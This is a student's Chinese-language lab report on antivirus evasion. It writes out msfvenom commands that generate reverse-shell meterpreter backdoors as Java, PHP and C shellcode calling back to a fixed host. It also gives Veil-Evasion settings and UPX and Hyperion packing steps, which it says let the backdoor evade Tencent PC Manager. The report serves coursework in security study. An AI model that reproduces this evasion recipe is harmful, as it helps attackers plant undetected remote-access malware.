2018-2019-2 网络对抗技术 20165319 Exp3 免杀原理与实践
免杀原理及基础问题回答
免杀原理:
免杀指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
基础问题
1.杀软是如何检测出恶意代码的?
杀毒软件的原理就是匹配特征码。当扫描得到一个文件时,杀毒软件会检测这个文件里是否包含病毒库里所包含的特征码,如果有,则报毒病查杀,如果没有,纵然这个文件确实是一个病毒,它也会把它当作正常文件来看待。
也有基于行为的恶意软件检测,监控该代码的行为,看是否有恶意行为,或正在做与恶意代码所做的事情相同,威胁到主机安全,则极有可能为恶意代码。
2.免杀是做什么?
修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
3.免杀的基本方法有哪些?
开源免杀:指在有病毒、木马源代码的前提下,通过修改源代码进行免杀。
手工免杀:指在仅有病毒、木马的可执行文件(.exe)(PE文件)的情况下进行免杀。
三、免杀效果评价
利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 正确使用msf编码器,生成exe文件
先用VirusTotal或Virscan对实验2做出的后门程序进行检测。
得出如下图结果:


由此可见不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。
一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
十次编码使用命令:-i设置迭代次数

将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:
2. msfvenom生成jar文件
生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.146.131 LPORT=5319 x> gjtbackdoor_java.jar
检测结果:

3. msfvenom生成php文件
生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.146.131 LPORT=5319 x> gjtbd.php

扫描结果如下:

4. 使用veil-evasion生成后门程序及检测
我用自己的虚拟机使用了各种网上的教程方法,每次都会失败,最后一次直接让整个虚拟机系统无法运行了。。。。所以我拷贝了室友装好了veil的虚拟机。

用use evasion命令进入Evil-Evasion
输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP,命令为:set LHOST 192.168.146.131,注意此处的IP是KaliIP;
设置端口,命令为:set LPORT 5319

输入generate生成文件,接着输入你想要playload的名字:19gjt#veil.exe
保存路径为/var/lib/veil/output/compiled/19gjt#veil.exe
检测结果:


可见会被检查出来,而且同一个软件一个网站检测的出来一个网站检测不出来。。。。很神奇。
5. 半手工注入Shellcode并执行
首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.131 LPORT=5319 -f c用c语言生成一段shellcode;

创建一个文件20165319.c,然后将unsigned char buf[]赋值到其中。
使用命令:i686-w64-mingw32-g++ 20165319.c -o 20165319.exe编译这个.c文件为可执行文件;

检测结果如图:

将程序复制到win7主机时,腾讯电脑管家查杀查出。

6.加壳
使用压缩壳(UPX)
给之前的20165318.exe加个壳得到gjt#upxed.exe
复制到主机。腾讯检测不到。

用网站检测一下:

加密壳Hyperion
将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
进入目录/usr/share/windows-binaries/hyperion/中
输入命令wine hyperion.exe -v gjt#upxed.exe gjt#upxed#hyperion.exe进行加壳
将加壳程序拷贝到主机
腾讯电脑管家依旧查不到。

任务二:通过组合应用各种技术实现恶意代码免杀
通过组合半手工制作shellcode后压缩壳或者加密壳达到了免杀的目的。
任务成功截图:

实验遇到的问题及解决方法
1.问题:veil装不上去还把虚拟机弄崩溃了。
解决:拷贝了舍友的已有kali的虚拟机。
2.问题:使用i686-w64-mingw32-g++ 20165319.c -o 20165319.exe时出现i686-w64-mingw32不是一个文件或文件夹的提示。
解决:将位于root的20165319.c复制到usr文件夹进行编译即可。
实践总结与体会
本次实验是基于上次的后门实验的后续加强版实验。此次实验中我了解了免杀的概念、免杀的基本方法以及对后门动手实现一些免杀的处理,能够做一些基本的免杀操作。
然后亲身体会免杀实验后我发现了杀毒软件的不可靠处,以后要提高安全意识,换个更好的杀毒软件。
2018-2019-2 网络对抗技术 20165319 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- WAMP中的MySQL设置用户、密码 及 phpmyadmin的配置
打开localhost和phpadmin时注意是否改过端口(这两个的默认端口是80) 初始用户名:root 密码为空 改密后使用新密码. WAMP中的 mysql设置密码(默认密码为空)及 php ...
- 从线性模型(linear model)衍生出的机器学习分类器(classifier)
1. 线性模型简介 0x1:线性模型的现实意义 在一个理想的连续世界中,任何非线性的东西都可以被线性的东西来拟合(参考Taylor Expansion公式),所以理论上线性模型可以模拟物理世界中的绝大 ...
- DEV 控件使用之:TreeList
使用DEV控件也有一段时间了,一直想写点东西.最近又使用到TreeList控件,这个控件对于刚使用的人来说确实不好掌握.我想把自己知道的写下来,让还不熟悉的慢慢学会使用,对于会使用的大家交流下.如果有 ...
- 06--STL序列容器(priority_queue)
一:优先队列priority_queue简介 同队列,不支持迭代 (一)和队列相比 同: 优先队列容器与队列一样,只能从队尾插入元素,从队首删除元素. 异: 但是它有一个特性,就是队列中最大的元素总是 ...
- App测试的策略
(一).App测试的策略 1.App测试需要考虑的方面 设备多样性 操作系统.浏览器.应用程序运行时环境.屏幕分辨率.人机交互界面和接口.人体工程学设计.屏幕尺寸等 运营商网络 ...
- http 400错误【原】
http 400错误现象: 使用java代码访问某PDF文件地址, 报了http 400错误 ,浏览器却能正常访问 . 所以猜测浏览器对地址做了额外处理. 异常代码 String srcUrl = & ...
- <HTML> 模块
一些元素 <q>元素 用于引用, quote 浏览器一般会负责加上双引号,但是不是所有的浏览器都会在<q>元素的内容两边加双引号. <blockquote>元素 用 ...
- MySQL巧建sum索引帮我们提高至少100%的效率
有两个表,表a CREATE TABLE `a` ( `id` mediumint() unsigned NOT NULL AUTO_INCREMENT, `fid` ) unsigned ', `c ...
- 3、设置jsp上的类容自动更新
1.run->edit configurations进入下面的界面,并修改 On ‘Update’ action 为 Redeploy. On frame deactivation 为 ...
- Linux CentOS7 安装wkhtmltopdf工具
wkhtmltopdf是一款将html文件转换成pdf格式的优秀的文件内容转换工具.它使用QT作为渲染引擎,目前它的RELEASE版尚不支持flex布局的Html5代码转换.使用flex的嵌套元素将会 ...